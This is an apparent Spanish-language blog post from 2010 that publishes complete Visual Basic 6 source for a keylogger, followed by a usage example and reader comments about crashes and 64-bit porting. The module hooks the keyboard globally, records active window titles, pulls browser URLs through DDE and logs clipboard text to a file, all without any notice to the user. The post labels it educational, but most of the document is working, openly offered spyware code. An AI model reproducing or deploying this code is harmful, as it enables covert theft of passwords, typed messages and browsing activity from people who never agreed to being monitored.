Feb 132010
Este es un módulo .bas de un Keylogger, sirve para capturar las pulsaciones del teclado y almacenarlas en un fichero de texto plano, trae como adicional poder almacenar el título de la ventana activa, la URL en caso de que dicha ventana sea un navegador y el texto del portapapeles. Está hecho con fines educativos, los métodos empleados son Hook al teclado, Hook de la ventana activa, conversación DDE para las URL y Hook del portapapeles. Vale destacar que no utiliza ningún tipo de timer para cualquiera de estas operaciones, lo cual hace que sea más eficiente y consuma menos procesador.
Módulo:
Option Explicit '------------------------------------ 'Autor: Leandro Ascierto 'Web: www.leandroascierto.com 'Fecha: 13-02-2010 'save input Keys, Active Widows, Url from Navigators and clipboard '------------------------------------ Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long Private Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hwnd As Long, ByVal nAction As Long) As Long Private Declare Function IsClipboardFormatAvailable Lib "user32.dll" (ByVal wFormat As Long) As Long Private Declare Function SetClipboardViewer Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long Private Declare Function DdeClientTransaction Lib "user32.dll" (ByRef pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long) Private Const XCLASS_DATA As Long = &H2000 Private Const XTYP_REQUEST As Long = (&HB0 Or XCLASS_DATA) Private Const CP_WINANSI As Long = 1004 Private Const CF_TEXT As Long = 1 Private Const WM_SETTEXT As Long = &HC Private Const WM_GETTEXTLENGTH As Long = &HE Private Const WM_GETTEXT As Long = &HD Private Const RSH_REGISTER_TASKMAN As Long = 3 Private Const HSHELL_WINDOWACTIVATED As Long = 4 Private Const WH_KEYBOARD_LL As Long = 13 Private Const SHELLHOOKMESSAGE As String = "SHELLHOOK" Private Const GWL_WNDPROC As Long = -4 Private Const ES_MULTILINE As Long = &H4& Private Const ES_AUTOVSCROLL As Long = &H40& Private Const ES_AUTOHSCROLL As Long = &H80& Private Const WM_IME_KEYDOWN As Long = &H290 Private Const WM_SYSKEYDOWN As Long = &H104 Private Const WM_KEYDOWN As Long = &H100 Private Const WM_KEYUP As Long = &H101 Private Const WM_DRAWCLIPBOARD As Long = &H308 Private WM_SHELLHOOK As Long Private hEdit As Long Private hHook As Long Private WinProc As Long Private hFile As Integer Private LastActiveWindow As Long Public Function StarKeyLogger(ByVal DestPath As String) As Boolean If hEdit Then Exit Function hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0) If hEdit <> 0 Then hFile = FreeFile Open DestPath For Append As #hFile hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0) WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE) RegisterShellHook hEdit, RSH_REGISTER_TASKMAN SetClipboardViewer hEdit WinProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc) StarKeyLogger = True End If End Function Public Function EndKeyLogger() As Boolean If hEdit <> 0 Then Call UnhookWindowsHookEx(hHook) Call SetWindowLong(hEdit, GWL_WNDPROC, WinProc) If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit) DestroyWindow hEdit: hEdit = 0 Close #hFile EndKeyLogger = True End If End Function Private Function WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long On Error Resume Next Dim sRet As String WndProc = CallWindowProc(WinProc, hwnd, uMsg, wParam, lParam) Select Case uMsg Case WM_SHELLHOOK If wParam = HSHELL_WINDOWACTIVATED Then If lParam <> 0 And LastActiveWindow <> lParam Then LastActiveWindow = lParam If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd) Select Case ClassNameOf(lParam) Case "MozillaUIWindowClass", "MozillaWindowClass" sRet = GetBrowserInfo("firefox") Case "IEFrame" sRet = GetBrowserInfo("iexplore") Case "OpWindow" sRet = GetBrowserInfo("opera") End Select If sRet <> "" Then SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & sRet & vbCrLf & String(100, "-") & vbCrLf Else SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & String(100, "-") & vbCrLf End If End If End If Case WM_DRAWCLIPBOARD If IsClipboardFormatAvailable(vbCFText) <> 0 Then If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd) SaveLog "[" & Now & "] Portapaples: " & vbCrLf & String(100, "-") & vbCrLf _ & Clipboard.GetText & vbCrLf & String(100, "-") & vbCrLf End If End Select End Function Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long On Error Resume Next Select Case wParam Case WM_KEYDOWN If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&) End If Case WM_SYSKEYDOWN If lParam = 162 Or lParam = 165 Or lParam = 50 Then Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&) End If End Select End Function Private Function GetBrowserInfo(ByVal sServer As String) As String Dim lpData As Long, hData As Long, sData As String Dim hServer As Long, hTopic As Long, hItem As Long Dim hConv As Long, idInst As Long Const sTopic = "WWW_GetWindowInfo" Const sItem = "0xFFFFFFFF" If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI) hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI) hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI) hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&) If hConv Then hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0) lpData = DdeAccessData(hData, 0) GetBrowserInfo = PtrToString(lpData) DdeUnaccessData hData DdeFreeDataHandle hData DdeDisconnect hConv End If DdeFreeStringHandle idInst, hServer DdeFreeStringHandle idInst, hTopic DdeFreeStringHandle idInst, hItem DdeUninitialize idInst End Function Private Function GetWindowTextLength(ByVal hwnd As Long) As Long GetWindowTextLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&) End Function Private Function GetWindowText(ByVal hwnd As Long) As String Dim TextLen As Long TextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&) GetWindowText = String(TextLen, Chr$(0)) SendMessage hwnd, WM_GETTEXT, TextLen + 1, GetWindowText End Function Private Sub SaveLog(ByVal sText As String) Print #hFile, sText SendMessage hEdit, WM_SETTEXT, 0&, vbNullString End Sub Private Function ClassNameOf(ByVal hwnd As Long) As String Dim sClassName As String, Ret As Long sClassName = Space(256) Ret = GetClassName(hwnd, sClassName, 256) If Ret Then ClassNameOf = Left$(sClassName, Ret) End Function Private Function PtrToString(lpwString As Long) As String Dim Buffer() As Byte Dim nLen As Long If lpwString Then nLen = lstrlenW(lpwString) * 2 If nLen Then ReDim Buffer(0 To (nLen - 1)) As Byte CopyMemory Buffer(0), ByVal lpwString, nLen PtrToString = StrConv(Buffer, vbUnicode) End If End If End Function
Ejemplo de Uso:
Option Explicit Private Sub Form_Load() 'Inicializamos el KeyLogger StarKeyLogger (App.Path & "\Log.txt") End Sub Private Sub Form_Unload(Cancel As Integer) 'Detenemos el KeyLogger Call EndKeyLogger End Sub
Leandro porque este keyloger se cierra despues de un momento que esta ejecutado a que se debe?
hola Klebert, mira no se medio este error, anterior mente se que había un error en la función PtrToString, pero eso quedo solucionado, no se por donde pueda estar el error, notas que pasa esto cuando activas alguna ventana en especial?, cualquier cosa avísame si vez cuando ocurre el error, por mi parte sospecho de la función GetBrowserInfo, que es cuando obtiene la información del navegador que utilices, seguramente cuando activas la ventana de el navegador este el error.
Hola, cómo puedo portar el código para que pueda ser ejecutado en computadoras de 64 bits?
Gracias.
Hola Antonio, funciona bien en computadoras de 64 bits (VB6), ahora si lo estas ejecutando desde vba tendrías que cambiar las declaraciones de las apis y algunas rutinas para que sea compatible con x64, claro que todo lo que es GetBrowserInfo ya esta obsoleto porque casi ningún navegador actual utiliza DDE